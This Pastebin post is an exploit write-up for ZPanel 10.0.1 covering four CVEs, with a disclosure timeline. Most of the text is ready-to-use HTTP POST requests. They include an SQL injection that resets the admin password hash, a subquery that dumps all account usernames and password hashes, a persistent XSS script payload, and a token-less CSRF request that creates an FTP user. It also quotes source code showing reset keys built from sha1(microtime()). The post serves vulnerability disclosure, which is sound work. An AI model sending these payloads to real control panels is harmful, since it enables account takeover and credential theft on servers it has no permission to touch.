Advertisement
Guest User

Untitled

a guest
Nov 9th, 2012
313
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.64 KB | None | 0 0
  1. # Exploit Title: ZPanel <= 10.0.1 CSRF, XSS, SQLi, Password Reset
  2. # Date: 04/11/2012
  3. # Exploit Author: pcsjj
  4. # Vendor Homepage: http://www.zpanelcp.com/
  5. # Version: 10.0.1
  6. # Software Link: http://sourceforge.net/projects/zpanelcp/files/latest/download
  7. # Downloads: 90,382
  8. # CVE : CVE-2012-5683 (CSRF), CVE-2012-5684 (XSS), CVE-2012-5685(SQL Injection), CVE-2012-5686 (Password Reset)
  9. # I'm going to guess there are some more here.
  10.  
  11. # 10/30/2012 - Contacted developers.
  12. # 10/31/2012 - Developer states preference for reporting through bug tracker.
  13. # 11/04/2012 - Developer confirms preference for reporting through bug tracker.
  14. # 11/04/2012 - Vulnerability disclosed in bug tracker.
  15.  
  16. # Insufficient CSRF protection (CVE-2012-5683)
  17. # All sensitive functions are lacking CSRF protection. One example below is
  18. a request showing no authorization token is required for the creation of a
  19. FTP user called "fun". This could also be used to deliver both XSS
  20. (CVE-2012-5684) and SQLi (CVE-2012-5685) examples below.
  21. #
  22.  
  23. http://192.168.1.100/?module=ftp_management&action=CreateFTP
  24.  
  25. POST /zpanel/?module=ftp_management&action=CreateFTP HTTP/1.1
  26. Host: 192.168.1.100
  27. Referer: http://192.168.1.100/?module=ftp_management
  28. Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2
  29. Content-Type: application/x-www-form-urlencoded
  30. Content-Length: 107
  31. inFTPUsername=fun&inPassword=fun&inAccess=RW&inAutoHome=2&inDestination=&inDestination=&inSubmit=
  32.  
  33. # Persistent XSS (CVE-2012-5684)
  34. # The "inFullname" parameter is vulnerable to XSS. User's real name is not
  35. being sanitized as it displayed within the control panel.
  36. #
  37.  
  38. http://192.168.1.100/zpanel/?module=my_account&action=UpdateAccountSettings
  39.  
  40. POST /?module=my_account&action=UpdateAccountSettings HTTP/1.1
  41. Host: 192.168.1.100
  42. Referer:
  43. http://192.168.1.100/zpanel/?module=my_account&action=UpdateAccountSettings
  44. Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2
  45. Content-Type: application/x-www-form-urlencoded
  46. Content-Length: 143
  47. inFullname=Admin%3Cscript%3Ealert%28/fun/%29%3C%2Fscript%3E&inEmail=admin%
  48. 40example.com&inPhone=101&inLanguage=en&inAddress=Home&inPostalCode=101
  49.  
  50. # SQL Injection (CVE-2012-5685)
  51. # "inEmailAddress" parameter is vulnerable to SQL injection. Since the
  52. injection point is in an UPDATE statement its trivial to manipulate the
  53. content of the database. For instance the zadmin password could be changed
  54. to password.(5f4dcc3b5aa765d61d8327deb882cf99)
  55. #
  56.  
  57. http://192.168.1.100/?module=manage_clients&action=UpdateClient
  58.  
  59. POST /?module=manage_clients&action=UpdateClient HTTP/1.1
  60. Host: 192.168.182.128
  61. Referer: http://192.168.1.100/?module=manage_clients&show=Edit&other=5
  62. Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2
  63. Content-Type: application/x-www-form-urlencoded
  64. Content-Length: 257
  65. inGroup=2&inPackage=2&inFullName=reseller&inEmailAddress=%27%2C+ac_pass_vc%3D%275f4dcc3b5aa765d61d8327deb882cf99%27%2C+ac_user_vc%3D%27zadmin%27+WHERE+ac_id_pk%3D1%3B--&inAddress=&inPostCode=&inPhone=101&inNewPassword=&inEnabled=1&inClientID=5&inSubmit=Save
  66.  
  67. # One more sqli example
  68. # A user can extract data from db though an UPDATE statement by using a
  69. subquery. As long as we update a field that is displayed back to us. To
  70. reproduce this example you need to know your ClientID which can be found in
  71. the referring page's url as the value of "other". In this example we use
  72. the email field to hold the result of the subquery. Usually you can't
  73. select from the table you're updating but by creating a temporary table
  74. called "fun" we can avoid that. Using group_concat we get all columns and
  75. all rows as a single string so that it all fits nicely in a single field.
  76. #
  77.  
  78. http://192.168.1.100/?module=manage_clients&action=UpdateClient
  79.  
  80. POST /?module=manage_clients&action=UpdateClient HTTP/1.1
  81. Host: 192.168.1.100
  82. Referer: http://192.168.1.100/?module=manage_clients&show=Edit&other=5
  83. #<!---- 5 is the Client ID or ac_id_pk
  84. Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2
  85. Content-Type: application/x-www-form-urlencoded
  86. Content-Length: 335
  87. inGroup=2&inPackage=2&inFullName=reseller&inEmailAddress=reseller%
  88. 40example.com
  89. %27%2C+ac_email_vc%3D%28select+group_concat%28ac_user_vc%2C+ac_pass_vc%29+from+%28select+*+from+x_accounts%29+as+fun%29+where+ac_id_pk%3D%275%27%3B--&inAddress=&inPostCode=&inPhone=%2B44%281473%29+000+000&inNewPassword=&inEnabled=1&inClientID=5&inSubmit=Save
  90.  
  91. # Password Reset Weakness, Insufficient entropy (CVE-2012-5686)
  92. # "randomkey" is not sufficiently random. By knowing server time an
  93. attacker could reset a password and guess the key within a relatively low
  94. number of requests. If the attacker can receive a password reset email for
  95. any account on the system (demo account?) the number of attempts required
  96. to guess reset key for another user (zadmin) can be greatly reduced. Since
  97. the zadmin default admin account is "hard coded" it is especially at risk
  98. to this password reset weakness. If you change zadmin username in the
  99. zpanel_core db my experience is that you cannot load zpanel control panel.
  100. #
  101.  
  102. # ZPanel source code for [INSTALL_DIR]/inc/init.inc.php
  103. 38 $randomkey = sha1(microtime());
  104. 46 $zdbh->exec("UPDATE x_accounts SET ac_resethash_tx = '" .
  105. $randomkey . "' WHERE ac_id_pk=" . $result['ac_id_pk'] . "");
  106. 50 $phpmailer->Body = "Hi " . $result['ac_user_vc'] . ",
  107. 51 You or somebody pretending to be you has requested a password reset
  108. link to be sent for your web hosting control panel login at: " .
  109. ctrl_options::GetOption('cp_url') . "
  110. 52 If you wish to proceed with the password reset on your account
  111. please use this link below to be taken to the password reset page.
  112. 53 http://" . ctrl_options::GetOption('zpanel_domain') . "/?resetkey="
  113. . $randomkey . "
  114. 54 ";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement